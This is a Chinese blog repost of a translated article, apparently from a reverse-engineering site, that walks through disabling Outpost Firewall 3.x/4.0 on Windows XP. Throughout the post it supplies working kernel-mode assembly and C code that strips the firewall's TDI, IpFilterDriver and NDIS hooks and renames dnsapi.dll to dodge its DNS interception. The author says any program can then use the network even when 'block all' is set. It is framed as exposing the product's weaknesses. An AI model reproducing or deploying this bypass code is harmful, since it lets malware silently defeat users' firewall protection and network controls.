首页 | 博客群 | 公社 | 专栏 | 论坛 | 图片 | 资讯 | 注册 | 帮助 | 博客联播 | 随机访问
跟踪Native API函数调用- -| 回首页 | 2006年索引 | - -总结进入RING0的方法

在Kernel mode下绕过Outpost Firewall 3.x和4.0

                                      

在Kernel mode下绕过Outpost Firewall 3.x和4.0

我来讲一下如何绕过最为流行的防火墙。此防火墙在设置上伸缩性很大,可免受代码注入(Inject),有组件控制,所以在ring-3下想绕过它就有些难度了:Inject倒不是不可以,但由于网络工作需要,得编写base independent的代码,还有其它的hemorrohoids(痔疮);)。我主张转移到底层,到ring-0,这样想干什么就能干什么 :)。我们这里要研究的版本是3.x和4.0。我这里只涉及对Outpost网络部分的绕过,而Outpost其它方面的功能这里就不讨论了。注意:下面给出的代码是在Windows XP上编写并测试通过的,不能用于其它版本的Windows(见每个OS版本的NDIS_PROTOCOL_BLOCK)。

Outpost Firewall,在内核里有四种不同层次的保护措施:

1. TDI层的拦截。拦截发向以下设备的通讯:\Device\Ip, \Device\RawIp, \Device\Tcp和\Device\Udp。方法是创建并连接自己的设备来接收并过滤应用程序对这些设备的调用。

2. IpFilterDriver层的拦截。这种方法在Windows XP+是documented的,在内核里过滤数据包(即不依赖NDIS与TDI拦截)。

3. NDIS层的拦截。
       * 拦截NDIS-Protocol的创建删除函数:NdisRegisterProtocol, NdisDeregisterProtocol。
       * 拦截Adapter的打开关闭函数:NdisOpenAdapter, NdisCloseAdapter。
  
4. 对发向DNSAPI(只在4.0版中有)的通讯的拦截。

最复杂的要数对NDIS层拦截的摘除。我们下面来依次研究:

1) 对TDI层拦截的摘除对那些熟悉内核对象体系并能熟练操作对象的人来说并不困难。拦截发向设备\Device\Ip, \Device\RawIp, \Device\Tcp和\Device\Udp的通讯是通过创建伪设备来实现的。创建设备后再调用IoAttachDevice将设备连接到设备栈上。ring3应用程序在与TDI服务通讯时,会建立IRP包并按栈中顺序逐个调用。首先调用Outpost的服务,然后是其它的。我们的任务很简单,就是将firewall的设备从相关的设备栈的链表中剔除。但是我们知道,Outpost进行拦截之前没有任何设备连接(attach)到Ip, Tcp, Udp, RawIp,所以我们取得指向设备DEVICE_OBJECT结构体的指针后只需并简单地将AttachedDevice域清零,这样我们就清除了所有对TDI的filters。成了!现在IRP包就直接发到驱动程序Tcpip.sys中,之后它就哪儿也不去了。实现代码如下:

 LOCAL TcpipDrvObj  :PDRIVER_OBJECT
 
 ...

 invoke ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \
    IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
 test eax, eax
 jnz @ret
 
 mov eax, TcpipDrvObj
 mov ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
 
 assume ebx : ptr DEVICE_OBJECT    ; EBX -> 当前设备
 
 ; 枚举Tcpip.sys的所有设备:
 ; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST
 
@enum_devices:
 and [ebx].AttachedDevice, 0    ; 摘除对其的拦截
 
 mov ebx, [ebx].NextDevice
 test ebx, ebx
 jnz @enum_devices

 assume ebx : nothing
 
 invoke ObDereferenceObject, TcpipDrvObj

Outpost不进行检查,也就不知道它的设备已经不在栈里了,所以反拦截就完成了。用同样的方法几乎可以清除所有TDI-Firewalls所设的拦截(当然前提是它们不检查自己放在设备栈里的设备,不然就要再多费些事了)。

2) IpFilterDriver是Windows内建防火墙所使用的驱动程序。通过这个服务可以监视数据包并在内核中对其进行过滤。使用FILTNT.SYS里的IpFilterDriver进行过滤的初始化过程如下:

a) 加载驱动程序ipfltdrv.sys:

 UNICODE_STRING RegPath;
 
 RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
 ZwLoadDriver(&RegPath);

b) 取得设备\Device\Ipfilterdriver的指针:

 PFILE_OBJECT IpFilterFileObj;
 PDEVICE_OBJECT IpFilterDevObj;
 UNICODE_STRING DevPath;
 
 RtlInitUnicodeString(&DevPath, L"\\Device\\IPFILTERDRIVER");
 IoGetDeviceObjectPointer(&DevPath, STANDARD_RIGHTS_ALL, &IpFilterFileObj, &IpFilterDevObj);

c) 创建IRP包, 并发向设备:

 PIRP pIrp;
 DWORD InBuff = (DWORD)&FilterProc;

 pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff, 4, 0, 0, 0, 0, 0);
 IoCallDriver(IpFilterDevObj, pIrp);

其中FilterProc - callback函数在接收和传递数据包时被调用,以决定此数据包是pass还是drop。DDK记载,如果为这个函数指针传递NULL,就会将处理函数移除。同样,Outpost在这里也没有好好照看自己的处理程序,我们可以轻松地搞掉它:

 LOCAL IpFilterFileObj  :PFILE_OBJECT
 LOCAL IpFilterDevObj :PDEVICE_OBJECT
 LOCAL InBuff   :DWORD
 
 ...
 
 invoke IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \
    GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
 test eax, eax
 jnz @ret
 
 and InBuff, 0
 
 invoke IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
 test eax, eax
 jz @ret
 
 invoke IoCallDriver, IpFilterDevObj, eax

3) 最复杂繁重的部分就要数摘除系统中所有的NDIS-Protocol(NDIS_PROTOCOL_BLOCK结构体)拦截了,包括打开的block(NDIS_OPEN_BLOCK结构体)。NDIS_OPEN_BLOCK结构体定义在DDK里的ndis.h里,但却没有NDIS_PROTOCOL_BLOCK的定义。经过多方挖掘,结合在调试器中对此结构体的观察,不难猜到它是隐藏的 ;) 我注意到,这个结构体在不同版本的Windows中是不一样的。在系统中存在着一个NDIS-Protocol的链表,NDIS-Protocol的表现形式为NDIS_PROTOCOL_BLOCK结构体。每个NDIS-Protocol都export出了自己的处理函数,而这些处理函数则是在某些事件发生时被调用:例如,在绑定设备和协议时,在接受或删除数据包时等等。模块NDIS.SYS中还有一个未导出的变量ndisProtocolList,这个变量指向最后一个注册的Protocol(链表中的第一个)。查找这个变量的位置没有什么意义,我这里有一个麻烦但对各版本OS都有效的办法:我们注册一个空的Protocol,这只是为了取得指向链表中下一个Protocol的指针并将其删除。在注册完Protocol之后所取得的NDIS_HANDLE就指向了我们创建的NDIS_PROTOCOL_BLOCK结构体:

 LOCAL NdisProto   :NDIS_PROTOCOL_CHARACTERISTICS
 LOCAL NdisStatus   :NDIS_STATUS
 LOCAL NdisProtoHandle  :NDIS_HANDLE
 
 ...
 
 lea edi, NdisProto
 mov ecx, sizeof NdisProto
 xor eax, eax
 rep stosb
 
 mov NdisProto.MajorNdisVersion,  4
 mov NdisProto.BindAdapterHandler, BindAdapterStub
 mov NdisProto.UnbindAdapterHandler, UnbindAdapterStub

 ; 注册NDIS-Protocol以获得指向Protocol链表的指针

 invoke NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
 cmp NdisStatus, NDIS_STATUS_SUCCESS
 jnz @ret
 
 mov ebx, NdisProtoHandle  ; EBX -> 当前Protocol
 assume ebx : ptr NDIS_PROTOCOL_BLOCK
 mov ebx, [ebx].Next          ; 很可能指向TCPIP_WANARP
 
 invoke NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle

当系统处于干净状态的时侯,几乎总是有以下Protocol:NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN,每一个都执行不同的任务。例如,Outpost创建自己的Protocol来进入链表:(VFILT)。还有一个例子:sniffer CommView创建Protocols:TSCOMM和CV2K1。想进一步了解NDIS的话,请使用NdisMonitor程序。在注册/删除Protocol之后,我们就有了指向链表中第一个Protocol的指针(如果没有sniffer或其它工作在NDIS层的程序的话,会是TCPIP_WANARP)。NDIS_PROTOCOL_BLOCK结构体包含有指向Protocol Handlers的指针,而Outpost拦截的就是这些Handlers。为了能支持可变数量的Protocol,拦截形式如下:

- 分配内存

- 记录Protocol的某些特征数据。FILTNT.SYS内部的handler中有个call(opcode 0E8h),其中包含有以下指令:

Outpost 3.x:

 pop    eax
 push   [eax]  ; 真正的handler
 pushad
 push   [eax+4]
 push   [esp+28h]
 jmp    [eax+8]

Outpost 4.0:

 pop    eax
 add    eax, 3
 push   [eax]  ; 真正的handler
 pushad
 push   [eax+4]
 push   [esp+28h]
 jmp    [eax+8]

- 在分配好的内存地址建立真正handler的替换程序。

经过研究发现,实际的拦截处理程序位于所分配内存的偏移+8处(Outpost 4.0)或者是+5处(Outpost 3.x)。通过指令add eax, 3可以很容易地区分4.0版和3.x版。在每个Protocol中Outpost都拦截了下面这些函数:

  OpenAdapterCompleteHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  RequestCompleteHandler
  ReceiveHandler
  StatusHandler
  ReceivePacketHandler
  BindAdapterHandler
  UnbindAdapterHandler

在结构体NDIS_OPEN_BLOCK中包含着指向与Protocol相关联的具体adapter的handler的指针。每个Protocol可以关联几个adapter,它们的open block都被链成了一个链表。指向第一个NDIS_OPEN_BLOCK结构体的指针包含在NDIS_PROTOCOL_BLOCK.OpenBlock里。NDIS_OPEN_BLOCK结构体是在调用NdisOpenAdapter的时候创建的,所以Outpost拦截了这个函数。在NDIS_OPEN_BLOCK中拦截了以下这些handlers:

Outpost 3.x:

  SendHandler
  TransferDataHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  RequestCompleteHandler
  ReceivePacketHandler
  SendPacketsHandler
  StatusHandler

Outpost 4.0:

  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  ReceivePacketHandler
  StatusHandler

大概程序作者觉得在3.x中搞的拦截有点太多了,其实拦5个就足够了。现在目的就明确了:绕过所有的Protocol,在每个Protocol中都摘除对其的拦截;在每个Protocol中绕过所有的open blocks并摘除对其的拦截。但是事情并不是像对付TDI和IpFilterDriver拦截那样那么简单的。我们不能简单地用自己的handlers去替换firewall的,因为firewall创建的线程时刻扫描着Protocols和open blocks并恢复拦截。并且如果Outpost 3.x在检查Protocol时遇到了未被拦截的handler(或是被摘除拦截的handler),它就会傻傻地从结构体中取出地址并再次建立拦截。这曾一度成为了我的心头一患。那个Outpost 4.0为每个Protocol都保存了handler,并能正确地恢复拦截。有了!:P 如果没有影响到handler指针,并用call来代替Outpost的handler,在实际的handler后面放上一个jmp,就可以如愿以偿。Outpost并不检查其拦截是否发生变化。为了摘除具体handler的拦截,我编写了个函数:

RemoveNdisProcHook proc Handler :PVOID

 mov ecx, Handler
 jecxz @ret
 
 cmp byte ptr [ecx], 0E8h   ; 在起始处应该有个call
 jnz @ret
 
 mov edx, [ecx+1]    ; call的偏移
 lea edx, [ecx+edx+5]   ; EDX指向call调用的去向
 
 .if dword ptr [edx] == 03C08358h  ; 起始处有: pop eax / add eax, 3 - 是Outpost 4.0 
 
  mov edx, [ecx+8]
  
 .elseif dword ptr [edx] == 6030FF58h ; 起始处有: pop eax / push [eax] / pushad - 是Outpost 3.x
  
  mov edx, [ecx+5]
 .else
 
  jmp @ret
 .endif
 
 ; EDX里的是实际handler的地址
 
 mov byte ptr [ecx], 0E9h   ; 我们把call换成jmp
 sub edx, ecx
 sub edx, 5
 mov [ecx+1], edx    ; 现在就直接jmp到实际的handler了
 
@ret:
 ret

RemoveNdisProcHook endp

喏,终于到了最后一步了:

 assume ebx : ptr NDIS_PROTOCOL_BLOCK
 
 ...

 ; 枚举所有已注册的NDIS-Protocol
 
@enum_protocols:

 ; 删除对NDIS-Protocol handlers的拦截
 
 invoke RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
 invoke RemoveNdisProcHook, [ebx].SendCompleteHandler
 invoke RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
 invoke RemoveNdisProcHook, [ebx].RequestCompleteHandler
 invoke RemoveNdisProcHook, [ebx].ReceiveHandler
 invoke RemoveNdisProcHook, [ebx].StatusHandler
 invoke RemoveNdisProcHook, [ebx].ReceivePacketHandler
 invoke RemoveNdisProcHook, [ebx].BindAdapterHandler
 invoke RemoveNdisProcHook, [ebx].UnbindAdapterHandler
 
 
 mov esi, [ebx].OpenBlock    ; ESI -> 当前的Open Block
 test esi, esi
 jz @next
 
 assume esi : ptr NDIS_OPEN_BLOCK
 
 ; 枚举此Protocol所有的Open Block
 
 @enum_open_blocks:
 
  ; 删除对Open Block handlers的拦截
  
  invoke RemoveNdisProcHook, [esi].SendHandler
  invoke RemoveNdisProcHook, [esi].TransferDataHandler
  invoke RemoveNdisProcHook, [esi].SendCompleteHandler
  invoke RemoveNdisProcHook, [esi].TransferDataCmpleteHandler
  invoke RemoveNdisProcHook, [esi].ReceiveHandler
  invoke RemoveNdisProcHook, [esi].RequestCompleteHandler
  invoke RemoveNdisProcHook, [esi].ReceivePacketHandler
  invoke RemoveNdisProcHook, [esi].SendPacketsHandler
  invoke RemoveNdisProcHook, [esi].StatusHandler
 
 
  mov esi, [esi].ProtocolNextOpen
  test esi, esi
  jnz @enum_open_blocks
  
 assume esi : nothing

@next:
 mov ebx, [ebx].Next
 test ebx, ebx
 jnz @enum_protocols
 
 assume ebx : nothing

4) Outpost的三种主要的过滤方法都已经被摘除了。对于3.x版来说就足够了,但是在4.0版的Outpost里添加了对应用程序的DNS-request的拦截。程序作者脑子里也没什么更好的办法,只是捕捉住了DNSAPI.DLL的加载。DNSAPI.DLL是个usermode的DLL,执行域名->地址(以及反方向)的转换功能,MX服务的请求和许多其它功能。对gethostbyname()的调用会加载这个库,并显示防火墙的窗口。在这个窗口中应用程序尝试执行DNS-request。要绕过它甚至不需要内核代码。但是会拒绝gethostbyname(),gethostbyaddr()以及其它函数:需要把system32\dnsapi.dll库拷贝到随便什么地方去,以其它的名字加载它,取得指向DnsQuery_A函数的指针并进行DNS-request。Outpost对此完全没有反应,因为它只检查所加载的模块的名字。更合逻辑的做法本应该是使用端口53截断应用程序通讯,而不只是建立对DNSAPI.DLL的Hook。当然可能是在beta版中拿掉的,但其实这样不正确的“保护”措施是从一开始就选定的。我相信这种所谓的“保护”今后还会用下去的。下面是我对"gethostbyname()"的实现:

 typedef DNS_STATUS (WINAPI *DNS_QUERY)(
   PCSTR lpstrName,
   WORD wType,
   DWORD fOptions,
   PIP4_ARRAY aipServers,
   PDNS_RECORD* ppQueryResultsSet,
   PVOID* pReserved
 );


 typedef void (WINAPI *DNS_RECORD_LIST_FREE)(
   PDNS_RECORD pRecordList,
   DNS_FREE_TYPE FreeType
 );

 ...

 char buf[256], buf2[256];
 PDNS_RECORD   pRec;
 DNS_QUERY   pDnsQuery;
 DNS_RECORD_LIST_FREE pDnsRecordListFree;
 HINSTANCE    hLib;
 

 GetTempPath(sizeof(buf), buf);
 strcat(buf, "xxxxx.dll");

 GetSystemDirectory(buf2, sizeof(buf2));
 strcat(buf2, "\\dnsapi.dll");

 CopyFile(buf2, buf, FALSE);

 if ((hLib = LoadLibrary(buf)) &&
  (pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, "DnsQuery_A")) &&
  (pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, "DnsRecordListFree")))
 {
  if (!pDnsQuery("wasm.ru", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec, NULL))
  {
   sprintf(buf, "WASM.RU IP Address: %s", inet_ntoa(*(in_addr*)&pRec->Data.A.IpAddress));
   MessageBox(0, buf, "Outpost DnsDetour", MB_ICONINFORMATION);

   pDnsRecordListFree(pRec, DnsFreeRecordList);
  }
  else
   MessageBox(0, "Can't get WASM.RU IP Address!", "Outpost DnsDetour", MB_ICONINFORMATION);

  FreeLibrary(hLib);
 }

 DeleteFile(buf);

Outpost中用到的所有类型的拦截就都被摘除了。现在任何应用程序都能无障碍地使用网络了。甚至把Outpost设置成“阻止所有连接”都没问题。

我的目标可不是绕过所有类型的Firewall(否则就天下大乱了 :P),就是想演示Outpost的缺陷——用非常简单的内核代码就能把它废掉(还有新beta版里的保护DNS-resolving的曲线法)。在创建连接过程中,Outpost 4.0将在日志中记录“未定义规则”,因为拦截被摘除,而打开的端口和连接的列表还在。在3.x中将完全看不到连接。理想的解决办法就是不要只简单地摘除拦截,而要让Firewall允许某些程序使用网络,而在其它情况下将控制权转给Outpost并隐藏某些打开的端口和连接。

值得一提的是,在摘除Hook之前,最好禁用掉中断, APC, DPC,这样摘除Hook的操作就不会被打断。在本文所附程序的archive中可以找到源代码和编译好的驱动,同时还有针对Outpost 4.0的通过名称确定IP的例子。

[C] MaD
http://www.wasm.ru/article.php?article=outpostk

董岩 译
http://greatdong.blog.edu.cn

【作者: D哥】【访问统计:】【2006年09月2日 星期六 18:29】【注册】【打印

搜索

Google

Trackback

你可以使用这个链接引用该篇文章 http://publishblog.blogchina.com/blog/tb.b?diaryID=5608782

回复

验证码:   
评论内容: